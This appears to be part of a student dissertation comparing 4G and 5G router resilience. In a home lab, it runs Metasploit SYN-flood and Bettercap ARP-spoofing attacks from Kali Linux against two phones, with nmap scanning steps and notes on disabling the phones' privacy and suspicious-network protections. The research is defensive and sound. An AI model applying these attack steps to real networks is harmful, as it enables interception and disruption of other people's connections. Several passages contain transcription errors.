The problem for this project is to find a solution involving common threat to mobile network that inherits the same vulnerabilities. To outline the approach, need to solve the problem for this project, a large amount of research was conducted to find information about mobile networks, Security and IoT device. For the approach to this problem to be found a solution is need for testing different devices and different generations of hardware with the same attacks to give a level of findings towards this project. 
[image: ]
[bookmark: _Toc70546110]Figure 5 - Block Diagram Layout Design
figure 5 is a block diagram layout to show a basic design for this project. The Wi-Fi router is connected to two mobile devices, these devices are connected to the Wi-Fi router. The attacker laptop creates a traffic to disconnecting user and tries to create a connection to intercept data being transferred. Two mobile devices are connected to the wireless network, these devices will either be disconnected from the network or have data stolen/manipulated. Once the attacker has connected to the router it will then be able to download and retrieve information for software application to complete its attack.  
[bookmark: _Hlk65677801]The overview of this project is to establish a security framework that understands and create a simple and easy path for IoT security on emerging networks such as 5G.  Refer to the literature review, it is seen thought this technology at the current latest standard still contains flaws with common threats such as distributed denial of service attacked and man in the middle attacks, this research will continue to compare the differences between previous generations.
4.2 [bookmark: _Toc70429293][bookmark: _Toc70546037]Design
For the design section it will be focusing on the blueprints of how this is going to be implemented and Furthermore of how it is going to be configured. The devices are connected to the 5G router, whilst the 5G router has an Internet connection to a mobile network. The attacker’s PC will connect over a Wi-Fi connection, then start scanning for devices. Software applications will be loaded and target the router for each for every attack.
The attack in the first case is a denial-of-service attack and the second attack to be used is a Man in the Middle Attack. These two attacks both have a different outcome, A DOS attack works on taking the 5G router down by overloading the system to crash or reboot, removing the devices connection. The MitM attack works on looking at the data being sent in between the devices with the attack being able to record user information. 
A brief breakdown of all the components for this project, with a understanding of why it’s being used and what it offers for this experiment. This has been broken down into lists below with subcategories explaining individual parts.
4.3 [bookmark: _Toc70429294][bookmark: _Toc70546038]Software & Tools
4.3.1 [bookmark: _Toc70429295][bookmark: _Toc70546039]Kali Linux
[image: ]
[bookmark: _Toc70546111]Figure 6 - Kali Linux Logo [65]
Kali Linux is a Debian derivative Linux distribution that was primarily designed and created for digital forensics and penetration testing, for these reasons Kali Linux is the operating system that has been chosen to initiate the attacks on the other devices. This operating system allows for the software to be initiated as it is Unix-based and is more efficient than other operating systems such as Windows and Mac OS. The latest build will be used for testing 2020.4. It comes pre-loaded with software that is predominantly targeted towards ethical hacking, it will save time having to download applications or frameworks needed.
4.3.2 [bookmark: _Toc70429296][bookmark: _Toc70546040]Metasploit 
[image: ]
[bookmark: _Toc70546112]Figure 7 - Metasploit Linux [66]
Metasploit is a computer security tool that is used to provide information and assistance in securing vulnerabilities and penetration testing as well as ID signature development. Use this for analysing and searching for vulnerabilities and creating payloads. The current stable release is 6.0.4 and it was released in December of 2020. At the time of this project; this was the most current version of the software. Metasploit will be used to implement a DOS attack against the router. 
4.3.3 [bookmark: _Toc70429297][bookmark: _Toc70546041]Bettercap
[image: ]
[bookmark: _Toc70546113]Figure 8 - Bettercap Logo [67]
Buttercup is a powerful and portable framework that was programmed in Go to offer security researchers an easy all-in-one solution for reconnaissance and attacking Wi-Fi and ethernet networks. At the time of this experiment, the latest version that has been released and will be used is version 2.29. For the testing of this project, this software application will be used to execute a man in the middle attack along with its framework to be able to present a variety of different attacks. 
4.3.4 [bookmark: _Toc70429298][bookmark: _Toc70546042]Wireshark
[image: ]
[bookmark: _Toc70546114]Figure 9 - Wireshark Logo [68]
Wireshark is an open-source packet Analyser tool that is used for network troubleshooting and for analysing. The offers a command-line interface and a GUI interface for the installation on the OS it will be using, a GUI interface will be used for ease of use and guidance. The version that will be used is version 3.4.3. Wireshark will be implemented to track and scan the packets being sent across the devices will be able to pick up the number of packets being sent and to determine what packets have been sent to the devices. 
4.4 [bookmark: _Toc70429299][bookmark: _Toc70546043]Devices & Hardware
4.4.1 [bookmark: _Toc70429300][bookmark: _Toc70546044]5G/4G Router
[image: ]
[bookmark: _Toc70546115]Figure 10 - TP-Link 4G+ Router
The core part of this project is testing the vulnerabilities that can be found within a 5G router and to compare against a 4G router. The 4G router is a TP-Link AC1200 Dual Band Gigabit Router (Archer MR600) equipped with 4G LTE and uses dual band 5GHz + 2.4GHz. There are 2 antennas include for better range of single, 3 LAN ports that support speeds of 1GB and 1 WAN/LAN port with 1GB Support. Furthermore, there is a sim tray slot for a micro sim card. The attack is centred around disrupting or manipulating data on the router depending on which attack is being used. 
[image: ]
The HUAWEI router is a Huawei 5G CPE Pro is a fully compatible 5G router that works on the latest standards, the router is powered by a Balong 5000 CPU and offers 5G bands for  n41/ n77/ n78/ n79. This router does also include 4G capabilities but for testing will be only using 5G, there is also support for dual band frequencies supporting 5 giga Hertz and 2.4 giga Hertz with optional antennas for greater signal boosting but it is not used for this testing, this was due to shorted of time and finding. There are two additional LAN ports on the back, a power supply input, a power button an additional connection for antennas. The same attacks will be applied to this router as two the same for the 4G router. The comparison will be based on the differences between the two different generations of mobile technology hardware. 
4.4.2 [bookmark: _Toc70429301][bookmark: _Toc70546045]Samsung Mobile Device
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[bookmark: _Toc70546116]Figure 11 - Samsung Logo [69]
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[bookmark: _Toc70546117]Figure 12 - Samsung Phone



This phone offers a sub-6 GHz chipset and can work on 5G mobile networks. This is also backwards compatible by working with 4G. The phone contains 256gb of storage, 12GB of RAM and running on an Exynos 990 processor. The phone operating system is running android 11 at the current time of this testing. This device will be a prime target towards the attack, leaving its primary goal to be compromised by the falling off the network from a DOS attack or having data being seen or manipulated by the attacker creating a vulnerability for this device.
4.4.3 [bookmark: _Toc70429302][bookmark: _Toc70546046]iPhone Device
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[bookmark: _Toc70546118]Figure 13 - Apple Logo [70] 
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[bookmark: _Toc70546119]Figure 14 - Brand New iPhone



This device is very similar to the other device mentioned previously it offers a sub 6 gigahertz chipset. This phone contains 64 GB of storage 6 gigabytes of RAM and is running on an A14 bionic processor the operating system being used is iOS 14 at the current time of this testing. The same tests will be applied to this device as well a man-in-the-middle attack and a denial-of-service attack, if either of these attacks are successful, a disruption on the connection between the device and the router or leading to manipulation of data. 
[image: ]
[bookmark: _Toc70546120]Figure 15 - Design diagram for the Implementation section

The final design that will be used in the live experiment, same devices mentioned in the block diagrams as well as also using Kali Linux.
For the design section it will be focusing on the blueprints of how this is going to be implemented and Furthermore of how it is going to be configured. The mobile devices are connected to the 5G router, whilst the 5G router has a mobile internet connection. The attacker’s PC will connect over a Wi-Fi connection, then start scanning for devices. Software applications will be loaded and target towards the routers for every attack.
Figure 6 is a block diagrams explaining and demonstrating the configuration method of how the test bed will be laid out. This design incorporates two different attacks, as well as a different diagram that show and demonstrate different 4 / 5 G router being used. These attacks will be used on the same configured frequency. Apart from how the targeted devices are connected to the router. 

4.5 [bookmark: _Toc70429303][bookmark: _Toc70546047]Implementation
The implementation section of this project. Discuss is a step-by-step procedure of how each part of the experiment is laid out and how it is configured to work together in design and structure. Screenshots, pictures & videos of the project being set up and configured, and showing the steps and procedures taken to accomplish the end goal is documented throughout this section.  Discussing every part of the design from the cables to the devices being used in detail. This section will discuss everything going through all the experiment. 
Please refer to appendix 7 for the setup of the Samsung device and for appendix 8 for the setup of the iPhone.
4.5.1 [bookmark: _Toc70429304][bookmark: _Toc70546048]Set Up Stages
The first section is setting up the individual devices and software that will be required to be used, going through individual items, and setting up the required configuration and the connection specifications that are needed. The next stage will be checking and testing for connection through all devices to prove and assess the devices are able to communicate and talk before testing begins.
4.5.2 [bookmark: _Toc70429305][bookmark: _Toc70546049]What is Required?
[bookmark: _Toc70546050]5G Router
Communication Standard: 3GPP Release 15
Applicable Network: 5G / LTE
Network Mode: NSA / SA
5G Transmission Rate: 1.65Gbps / 250Mbps
LTE Transmission Rate: 1.6Gbps / 150Mbps
Wi-Fi: 802.11ac/a/n 2 x 2 & 802.11b/g/n 2 x 2, MIMO
Wireless Frequency Band: 2.4GHz & 5GHz, dual-band auto-selection
Processors: Balong 5000 multi-mode chip, GigaHome dual-band Wi-Fi chip
Network Port: One Wan / Lan GE port, one Lan GE port, one SIM card slot (Nano-SIM)
[bookmark: _Toc70546051]4G+ Router
· 1 × 10/100/1000 Mbps LAN/WAN Port
· × 10/100/1000 Mbps LAN Ports
· 1 × Micro SIM Card Slot
· 2 × Detachable 4G LTE Antennas
· Wireless Standards: IEEE 802.11a/n/ac 5 GHz, IEEE 802.11b/g/n 2.4 GHz
· Frequency: 2.4 GHz and 5 GHz
· Signal Rate: 300 Mbps at 2.4 GHz, 867 Mbps at 5 GHz
· Wireless Security: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK encryptions
· Network Type: - 4G: FDD-LTE: B1/B3/B5/B7/B8/B20/B28

[bookmark: _Toc70429308][bookmark: _Toc70546052]Samsung Phones
· Network: GSM / CDMA / HSPA / EVDO / LTE / 5G
· Display:  Dynamic AMOLED 2X, 120Hz, HDR10+, 6.9 inches, 1440 x 3200 pixels
· Chipset: Exynos 990 (7 nm+), Octa-core (2x2.73 GHz Mongoose M5)
· Wi-Fi: Wi-Fi 802.11 a/b/g/n/ac/6, dual-band, Wi-Fi Direct, hotspot
· Bluetooth: 5.0, A2DP, LE
· USB: USB Type-C 3.2, USB On-The-Go
· OS: Android 11, One UI 3.1
[bookmark: _Toc70429309][bookmark: _Toc70546053]iPhone
· Network: GSM / CDMA / HSPA / EVDO / LTE / 5G
· Display: Super Retina XDR OLED, HDR10, 6.1 inches, 1170 x 2532 pixels
· Chipset: Apple A14 Bionic (5 nm), Hexa-core (2x3.1 GHz Firestorm)
· GPU: Apple GPU (4-core graphics)
· Memory: 64GB 4GB RAM, NVMe
· Wi-Fi: Wi-Fi 802.11 a/b/g/n/ac/6, dual-band, hotspot
· Bluetooth: 5.0, A2DP, LE
· USB: Lightning, USB 2.0
· OS: iOS 14.4
[bookmark: _Toc70429310][bookmark: _Toc70546054]Laptop
· 10th Gen Intel i7-10875H, 8 Core (2.3GHz/5.1GHz)
· Windows 10 Pro / Kali Lunix Dual Boot
· 17.3” Full HD 300Hz
· NVIDIA GeForce RTX 2070 Super Max-Q
· 512GB PCIe NVMe – Samsung, 500GB PCIe NVMe - WD
· 16GB of Dual-Channel (8GB x2) DDR4 2933MHz
· Intel® Wireless-AX201 (802.11a/b/g/n/ac/ax), Bluetooth 5.1
· 2.5GB Ethernet
· USB 3.2 Gen 2 (USB-A) x 3, USB3.2 Gen 2 (USB-C)
· Thunderbolt 3 (USB-C)
[bookmark: _Toc70429311][bookmark: _Toc70546055]SIM Cards
· 4G  Sim Card on Virgin Media
· 5G Sim Card on EE

4.5.3 [bookmark: _Toc70429312][bookmark: _Toc70546056]Initial Device and Software Set Up
[bookmark: _Toc70429314][bookmark: _Toc70546057]4G Router Setup

	Screenshot Images
	Explanation of Events

	[image: ]
[bookmark: _Toc70546121]Figure 16 - 4G Router and Sim Card
	
 The first part of setup of the 4G router is inserting the Sim card into the router, this is a micro sim card. This is placed in the top at the end. Then once this is completed turn the router on and proceed to entering the default IP address that is on the back sticker. 

	[image: ]
[bookmark: _Toc70546122]Figure 17 - TP- Link Default Password Setup
	

 The first page of the router asks for a change of the default password for security reasons this is being changed to the same password as Kali Linux just to keep simplicity and consistency throughout this project.




	[image: ]
[bookmark: _Toc70546123]Figure 18 - Setting up 4G Router Time Zone
	
 The first part requires the time zone that the route is going to be set in this was set to Greenwich time London.

	
[image: ]
[bookmark: _Toc70546124]Figure 19 - Setting Sim Setting
	
 The next section automatically configures The Sims details that needs to be inserted into the router to connect to the ISP network.

	[image: ]
[bookmark: _Toc70546125]Figure 20 - Successful Connection to Sim Card Operator 
	
 The next step consists of the router connecting successfully to the ISP and being able to transfer and submit information back and forth.
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[bookmark: _Toc70546126]Figure 21 - Verify Setting are Correct
	 After the connection has been connected the router will display information to show how good the signal strength is and to clarify information about the settings are obtained.

	[image: ]
[bookmark: _Toc70546127]Figure 22 - Setup is Completed
	
 After this the router is now fully set up and able to connect to the Internet as well as hub devices connecting to it as well the setup stage is complete.

	  [image: ]
[bookmark: _Toc70546128]Figure 23 - Home Screen Showing layout of tools and setting.
↑ When the setup is complete, the home screen will present information that will offer details about the connection from the ISP containing IP address, DNS settings, signal strength, data used, type of network is connected (LTE), furthermore, download and upload speed rates.





[bookmark: _Toc70429315][bookmark: _Toc70546058]5G Router Setup

	Screenshot Images
	Explanation of Events

	[image: ]
[bookmark: _Toc70546129]Figure 24 - Huawei 5G Router
	
 The first part of setup of the 5G router is inserting the Sim card into the router, this is a nano sim card. This is placed in the bottom of the device, under the plastic cover in the centre. Then once this is completed turn the router on and proceed to entering the default IP address that is on the back sticker.

	[image: ]
[bookmark: _Toc70546130]Figure 25 - Default Admin Password Setup
	
 Once the router is initiated and booted up, connecting to the router by the default IP address set on the back of the router which is 192.168.1.1 will bring up these menu screen, forcing the user to change the default password.

This was done and furthermore being displayed on the screenshot.




	[image: ]
[bookmark: _Toc70546131]Figure 26 - Setup SSID Name and Password
	
 After the password has been changed setting up default Wi-Fi name and password for connectivity is next. Leaving the default SSID name in place but changing the Wi-Fi password to a consistent password that is being used throughout this project.

	
[image: ]
[bookmark: _Toc70546132]Figure 27 - Router Log on Page
	 Over the previous two steps have been accomplished this will then require the user to log in to the home screen of the router this presents the password for the admin account this password can be found on the back of the router as the default admin password.

This password was changed in the previous section from the default password to enhance the security of the device.

	[image: ]
[bookmark: _Toc70546133]Figure 28 - Router Home Screen displaying device Info
	
 Once logged in the user menu there will be information about the system, these items will be showing the status of the 5G connection and the Wi-Fi connection, download and upload speeds.





[bookmark: _Toc70429317][bookmark: _Toc70546059]Metasploit Setup

	Screenshot Images
	Explanation of Events

	[image: ]
[bookmark: _Toc70546134]Figure 29 - Kali Search Menu
	
 Very much like windows slides in the option in the bottom left-hand corner brings up a menu of applications on a search feature, with this typing in console/ terminal will find the application.

	[image: ]
[bookmark: _Toc70546135]Figure 30 - Kali Terminal
	 Once the application is found select and launch, this will bring up a black box with this inserting the following command.

	[image: ]
[bookmark: _Toc70546136]Figure 31 - Console Setup for Metasploit
	 The combat folders in the screenshot of side to this is the command that will initiate the Metasploit console but will also initiate the database that is required to operate Metasploit as it needs to retrieve and submit information to and from the database.




	[image: ]
[bookmark: _Toc70546137]Figure 32 - Metasploit Menu Running
	 Once the system has loaded and set up Metasploit on its comparison database there will be a banner load it up underneath the banner there will be information detailing the version that is running and the total amount of exploits, auxiliary, posts, payloads, encoders, nops and evasions listed within its database.

At this point the user can start running and operating the Metasploit software package. 





[bookmark: _Toc70429318][bookmark: _Toc70546060]Bettercap Setup

	Screenshot Images
	Explanation of Events


	[image: ]
[bookmark: _Toc70546138]Figure 33 - Installation Command for Bettercap
	 Previously it was shown how to launch the console in the previous Metasploit section, referring to that to launch at the console.
once the console has been loaded setting up an install for software can be done by following the command shown in the screenshot beside.
Addition software will be needed for this project to work as kali come with preload with a large amount of software tool, but the additional tool that are going to be used are not included. Breaking down the command sudo is referred to as “super user do” this is an admin command that allows for users to run programmes with the security privileges.
The next part of the command is apt-get this is a command that searches and handles packages installation and removal of software. The instal is self-explanatory as it initiates the install aspect . The last part is the software that needs to be installed once it cheques for the repository it will start to download and install.
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[bookmark: _Toc70546139]Figure 34 - Installation progressions for Bettercap
	
 The screenshot on the side has installed all the packages required and necessarily repositories.


	[image: ]
[bookmark: _Toc70546140]Figure 35 - Kali Search Menu for Bettercap
	 To run bettercap there are two ways of launching this software option one is going back to the search menu by typing in bettercap or the other option is remaining in the console and typing in “sudo bettercap“
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[bookmark: _Toc70546141]Figure 36 - Bettercap Running
	 Lastly the application is loaded up this will be presented on the main screen. The install was correctly done.



[bookmark: _Toc70429319][bookmark: _Toc70546061]Wireshark Setup

	Screenshot Images
	Explanation of Events

	[image: ]
[bookmark: _Toc70546142]Figure 37 - Installation Command for Wireshark
	 Follow up the steps for better cap will be the same way for Wireshark,
using the command shown in the screenshot aside is how to instal the application. If there are any questions that says yes or no all of them should be asked yes as they are checking for disc space allocation and permission for modifying certain permissions on the system.

	[image: ]
[bookmark: _Toc70546143]Figure 38 - Installation progressions for Wireshark
	
 After the installation period has past and Wireshark is fully installed, then running the command “sudo Wireshark” will launch the application straight into it graphical interface  

	[image: ]
[bookmark: _Toc70546144]Figure 39 - Wireshark Running
	
 Once the graphical interface has loaded up it will present different options for the user to do all that needs to be done is click on the first option with the Ethernet port that is connected or wireless port that signal is being shown on and then start to capture. 




[bookmark: _Toc70429320][bookmark: _Toc70546062]Ping & Communication Testing

	Screenshot Images
	Explanation of Events

	[image: ]
[bookmark: _Toc70546145]Figure 40 - iPhone Ping Test
	
 For the phone to be able to test its connection to the router a third-party app that was called “PingTools” was downloaded to the phone. This enabled the device to ping the router to check to make sure it had connectivity.
Using the IP address for the router which is 192.168.1.1 it will send ICMP packet to test for connection. 
The Samsung phone is now able to ping the router.

	[image: ]
[bookmark: _Toc70546146]Figure 41 - Samsung Ping Test
	
 For the iPhone to be able to test its connection to the router a third-party app that was called “Ping” was downloaded to the phone. This enabled the device to ping the router to check to make sure it had connectivity.
Using the IP address for the router which is 192.168.1.1 it will send ICMP packet to test for connection. 
The iPhone is now able to ping the router.
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[bookmark: _Toc70546147]Figure 42 - Kali Ping Test

	
 The laptop has been connected to the router and was sending ICMP packets towards the router to test connectivity these were being received add 100% with zero packet loss.

The laptop is fully connected and can continue.
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[bookmark: _Toc70546148]Figure 43 - Huawei Ping Test
	
 The Huawei Router is show 3 devices connected directly to it over the Wi-Fi.

These devices are the 2 phones and the laptop.




	[image: ]
[bookmark: _Toc70546149]Figure 44 - Nmap Device Discovery
	 Using a very basic command with nmap will be able to detect and find devices that are on the network by relaying their Mac address and the IP address.
The command that has been used is “sudo Nmap -sP 192.168.1.0/24”. 


	
[image: ]
[bookmark: _Toc70546150]Figure 45 - Nmap Device Port Scan
	
 After the first search, some basic information about the devices had been found, doing a deeper search on these items listed to find out if there are any open ports or any information that may be beneficial to later attacks.

‘sudo nmap  192.168.1.0/24’

This search has given more information about the type of ports and services running on the devices.



4.6 [bookmark: _Toc70429321][bookmark: _Toc70546063]Experiment Overview 
[bookmark: _heading=h.3rdcrjn][image: ]
[bookmark: _Toc70546151]Figure 46 - Flow Chart of the Experiment Overview
4.7 [bookmark: _Toc70429322][bookmark: _Toc70546064]Conclusion 
To sum up this conclusion, everything that has been cited so far in this section would be the problem formulation and design overview of the project talking about the problem that this project is trying to solve and by giving a design overview of how it will be laid out and solved. A detailed background and understanding of the tools and software that are going to be used and how we are going to be configured Furthermore moving over to looking at the design of the project using block diagrams and flow charts to show how the testing should be followed through. 
[bookmark: _Toc371255560][bookmark: _Toc341174561]Moving on to the second section of this chapter is the implementation and going through the required information that is required to set up the testing environment this requires having information laid out about the device requirements and the device settings in configurations. This information is detailed heavily by putting tables and screenshot of each step of the way with detailed instructions. At the end showing connectivity of the devices being able to communicate ready for the testing to begin. A flow chart diagram of the experiment overview is presented to show an understanding of how the project will be carried out. This moves on to the testing and results section of the project, with the testing been completed and results will have been gathered ready for a conclusion to be drawn up for the project.

[bookmark: _Toc70429323][bookmark: _Toc70546065][bookmark: _Toc70433763][bookmark: _Toc70433934][bookmark: _Toc70429324]Chapter 5 – Testing and Evaluation  
[bookmark: _Toc70546066]
4.8 [bookmark: _Toc70546067]Introduction 
This chapter will discuss the results of the test and will provide an evaluation of the outcome from this testing. Furthermore, it contains a detailed analysis with screenshots of the process used to understand what the research found. 
4.9 [bookmark: _Toc70429325][bookmark: _Toc70546068]Evaluation
4.9.1 [bookmark: _Toc70429326][bookmark: _Toc70546069]4G Router Results 
The testing between the two devices has shown a very different outcome compared to the intended hypothesis that was mentioned earlier in the document. The hypothesis predicted that both networks would be susceptible to man in the middle attacks and distributed denial of service attack. But the testing shows that the 4G router was acceptable to both attacks, where the 5G router was able to mitigate attack from DOS by not even slowing the device down to any level of degree. The MITM attack was only able to retrieve a few IP addresses. These were Google and Twitter, whereas in contrast, the MITM attack did not identify the IP addresses of BBC News or Wikipedia.
What was surprising was that the testing on the 4G router had successful attacks. These were accomplished exceedingly well on the iPhone. As for the Samsung phone, during the MITM attack, the device was able to detect suspicious activity on the TP link router, whilst it was trying to connect to the BBC News website. This resulted in a notification to disconnect from the network. For testing, it was added as an exception to the network just to see if an attack could be permitted after the phone has detected. Moreover, an exception was given to the device, this did allow all HTTP and HTTPS data was being logged and sent directly to the bettercap console. This information can be seen in figure 52 as it shows websites links that the device is trying to access. Unfortunately, it was unable to read what the data was being sent between the website and the device as this remained encrypted by the HTTPS protocol that stopped securing it through the SSL certification. However, this did leave HTTP websites prone to have that information seen and read, this meant that this data could be logged and recorded. 


[bookmark: _Toc70429327][bookmark: _Toc70546070]MITM Attack

	1.) Bettercap, Setting up arp spoof and http proxy.

[image: ]
[bookmark: _Toc70546152]Figure 47 - Testing: MITM Attack using Bettercap by Setting up Parameters.
Setting and configuring bettercap to operate a man in the middle attack. setting these variables up is essential to creating the attack. Using the correct configuration allows for the attack to be more effective. 

	2.) Getting the iPhone to connect to hacker laptop but entering the IP address into the browser will create a connection that allows the tracking on the iPhone.


(iPhone Images)



	3.) iPhone having a man in the middle attack logging all http traffic.

[image: ]
[bookmark: _Toc70546153]Figure 48 - Testing: iPhone ARP Spoofing 
[image: ]
[bookmark: _Toc70546154]Figure 49 - Testing: iPhone ARP Spoofing 2
All the traffic being collected is HTTP / HTTPS, due to SSL authentication on these websites none of that can been see as it is encrypted. Moreover, the user that is operating the device can be track to what website there are connecting too, this does also work for apps as these send and receive data frequently.

	This was then repeated on the Samsung device, the IP address was changed from 192.168.1.100 to 192.168.1.101.



	4.) Getting the Samsung phone to connect to hacker laptop the same way the iPhone did by entering the IP address into the browser to create a connection that allows the tracking on the Samsung device.

 [image: ]
[bookmark: _Toc70546155]Figure 50 - Testing: Samsung Phone Connecting to the Proxy

	5.) Spoofing all the data that is HTTP / HTTPS from this device
[image: ]
[bookmark: _Toc70546156]Figure 51 - Testing: Samsung ARP Spoofing 2

	6.) While connecting to BBC News, the phone detected suspicious activity on the connection.

[image: ]
[bookmark: _Toc70546157]Figure 52 - Testing: Suspicious Activity




[bookmark: _Toc70429328][bookmark: _Toc70546071]DOS Attack
For the testing of a DOS attack, the outcome showed that both devices were rendered unusable and extremely slow, making them inoperable. Whilst the attack was taking place it caused an issue by flooding the ISP sim card so that it disconnected the sim card from the network, making the sim card inactive. A method to overcome this was to limit the number of packets going through the network; this was done by changing the amount that was being sent every minute. Furthermore, changing the attack from a duplex to internal kept all the information within the network. This prevented the sim card from disconnecting, thereby avoiding having to contact the ISP to reactivate the sim. This situation created two problems for any end users as it would slow down the devices or make them unusable while trying to access the internet. Secondly, this could potentially force users to reboot the router to reconnect back onto the sim ISP network or even calling the ISP to reset the sim card status.

	1.) Home screen of router, showing connected to 4G network.
[image: ]
[bookmark: _Toc70546158]Figure 53 - Testing: Router Home screen

	2.) Wireshark showing packets before attack begins. 
[image: ]
[bookmark: _Toc70546159]Figure 54 - Testing: Wireshark Showing Packets

	3.) Initiating Metasploit & PostgreSQL
[image: ]
[bookmark: _Toc70546160]Figure 55 - Testing: Metasploit

	4.) Navigating Metasploit to the correct attack location, setting up the IP to the iPhone, furthermore, running the exploit script.
[image: ]
[bookmark: _Toc70546161]Figure 56 - Testing: Setting up SYN flood Attack 1







	5.) Starting the attack, Flooding the IP “192.168.1.100” with SYN packets to overflow the device.
[image: ]
[bookmark: _Toc70546162]Figure 57 - Testing:  Running SYN Flood Attack

	6.) Home screen of router, showing disconnected from the Router. 

[image: ]
[bookmark: _Toc70546163]Figure 58 - Testing:  Router Discounted from Internet

	7.) Capturing all packets being sent showing the flood of packets.
[image: ]
[bookmark: _Toc70546164]Figure 59 - Testing: Wireshark getting Flooded










	8.) Stopping the attack, by doing “ctrl + c”.
[image: ]
[bookmark: _Toc70546165]Figure 60 - Testing: Stopping the Attack

	Completed the testing on the first devices (iPhone) The second testing will be done on the Samsung phone. The router has been reset to connecting the internet again. 

	9.) Home screen of router, showing connected to 4G network.
[image: ]
[bookmark: _Toc70546166]Figure 61 - Testing: Rebooted Router

	10.) Changing the IP to the Samsung IP, running the exploit script.
[image: ]
[bookmark: _Toc70546167]Figure 62 - Testing: Changing Target IP

	11.) Running Attack 
[image: ]
[bookmark: _Toc70546168]Figure 63 - Testing: Running SYN Flood Attack 2

	12.) Home screen of router, showing disconnected from the Router. 
[image: ]
[bookmark: _Toc70546169]Figure 64 - Testing: Showing Router Disconnected from Internet









	13.) Stopping the attack, by doing “ctrl + c”.
[image: ]
[bookmark: _Toc70546170]Figure 65 - Testing: Stopping Attack





4.9.2 [bookmark: _Toc70429329][bookmark: _Toc70546072]5G Router Results
[bookmark: _Toc70429330][bookmark: _Toc70546073]DoS Attack
The testing of the 5G router was successful in the man in the middle attack to some level, but the other attack which was DoS; was unsuccessful. During the testing, the denial-of-service attack had no effect on the devices or the network while the packets were flooding, the router was consistent with the output of data as it did not slow or have any hindrances to the users’ requests on the devices. For this testing, different types of data were sent through to test the outcome, the data to which was used was web page data and video data. This led to websites such as BBC News, Wikipedia, Twitter, and YouTube being accessed and used without any hindrances to the user or to the network. Comparing this information to the hypothesis that was set out earlier in the project, it was stated that both networks would be affected by both attacks, but during the testing it was shown that the attacks were not effective on a 5G router.  
Previously discussed in the literature review section, talks about ARP attacks from the author W. Gao et al. [60], attempted to prevent these types of attack, while this research tried to compare the differences between the 4G and the 5G routers using this attack. The outcome of the research in comparison shows that 5G technology does not fully prevent it but does offer some support by default. Further research and time would have been able to use different 5G routers, this would lead to testing hardware and software by different manufacturers. The result would be used in a comparison chart to offer different attacks to see if they pass or fail. 
Table 10 - Testing: 5G DOS Attack
	1.) The Huawei router connected to EE network with 3 devices connected.
[image: ]
[bookmark: _Toc70546171]Figure 66 - Testing: 5G Router Connected

	2.) Running Wireshark Running in the background before any attack begins	
[image: ]
[bookmark: _Toc70546172]Figure 67 - Testing: Wireshark Before 5G Attack

	3.) Prepping SYN attack and selecting the iPhone IP address.

[image: ]
[bookmark: _Toc70546173]Figure 68 - Testing: Setting up DOS Attack on 5G

	4.)   Running exploit command

[image: ]
[bookmark: _Toc70546174]Figure 69 - Testing: Running the SYN attack on iPhone


	5.)  Cancelling the attack to stop the packets. 
[image: ]
[bookmark: _Toc70546175]Figure 70 - Testing: Cancelling Attack

	5.) After running the attack on the iPhone attack swapping the IP address to the Samsung.
[image: ]
[bookmark: _Toc70546176]Figure 71 - Testing: Running the SYN attack on Samsung

	6.) Cancelling the attack to stop the packets.
[image: ]
[bookmark: _Toc70546177]Figure 72 - Testing: Completed Testing of 5G Attack


	5.)  Recorded the packet going through the network.
[image: ]
[bookmark: _Toc70546178]Figure 73 - Testing: Wireshark While 5G Attack is Live.



	7.) Device still connected to EE network.
[image: ]
[bookmark: _Toc70546179]Figure 74 - Testing: 5G Router still Connected





[bookmark: _Toc70429331][bookmark: _Toc70546074]MITM Attacks
As for the MITM attack, this was blocked by both devices’ integral security protection; the iPhone has a built-in feature in IOS 14 called “Private Address” which uses a different MAC address for each Wi-Fi network connected to by the device. This then allows a unique MAC address to be used on every network the device connects to, creating a private Wi-Fi. This also hides a significant amount of data that is being received as websites were not listed when accessed in the browser, this was also the same for apps. So, for the purpose of testing, this feature was disabled, and a new IP address was assigned to the device. After this change was implemented, selected websites would show data while others would not. Furthermore, the Samsung device offered different security protection that immediately prevented any website browsing; this instantly generated a notification that it was an unsecured connection, as it was able to detect suspicious activity. For testing on this device, it was added as an exception to the network, allowing to gather data for the MITM attack.  What was surprising is both devices were encountered the same problem, this was certain websites Google and Twitter displayed the IP address but not their domain name. Websites tested included Google, YouTube, BBC news, BBC weather, Twitter, and Wikipedia, from these websites only two websites showed there IP address Google, YouTube but there did not show their domain names, also in comparison to the 4G testing no tracking or any sub domain connection appeared. Moreover, BBC news, BBC weather, Twitter, and Wikipedia did not ever show up in the console where there was nothing to indicate their connection. While in the 4G router this would show the domain and related information like sub-domains and trackers, but for the 5G router it would only list an IP address for selected websites; so, this ended with a lack of detail for this type of attack to be successful. 
Table 11- Testing: 5G MITM Attack
	1.)  Network Probing to find network Devices 
[image: ]
[bookmark: _Toc70546180]Figure 75 - Testing: Probe 5G Network

	2.)  Setting up bettercap to sniff iPhone the same way that was done in the 4G attack.
[image: ]
[bookmark: _Toc70546181]Figure 76 - Testing: iPhone Sniff

	3.)  Changed IP address on iPhone as it disconnected from the network to disable Private address.   
[image: ]
[bookmark: _Toc70546182]Figure 77 - Testing: Updated IP Address & Disabled Private Address


	4.)  All data was being encrypted and hidden.
[image: ]
[bookmark: _Toc70546183]Figure 78 - Testing: Private Address on iPhone Disabled

	5.)  Changing to the Samsung Device, results show only a few IP address and very few domains were showing. 
[image: ]
[bookmark: _Toc70546184]Figure 79 - Testing: Samsung Showing some IP Address

	6.) wall connecting to BBC news, a security alert was notified.
[image: ]
[bookmark: _Toc70546185]Figure 80 - Testing: Samsung Device Show Security Alert

	7.) disabling detect spicious networks for testing purposes.
[image: ]
[bookmark: _Toc70546186]Figure 81 - Testing: Disabling (DSN) On Samsung Device



4.10 [bookmark: _Toc70429332][bookmark: _Toc70546075]Overview 
From this research and testing has given a very different outcome to what was predicted in the hypothesis in chapter 3, as the prediction was completely inaccurate on the 5G router. Furthermore, looking back at the literature review over G. Drago at al [70], part of his method or performing a MITM attack was used to in this project and the outcome worked with the 4G router but was unsuccessful with the 5G as it has been documented through the previous sections of this chapter. the outcome was surprising as it showed that a generation between the technologies has changed enough to prevent this form of attack to a certain level as it removes a high amount of information being transmitted and only giving a selective amount of IP addresses on certain websites. In addition, researching more into this to try and find a way around or a method in completely removing the ability of tracking individuals IP address.
4.11 [bookmark: _Toc70429333][bookmark: _Toc70546076]Chapter Summary 
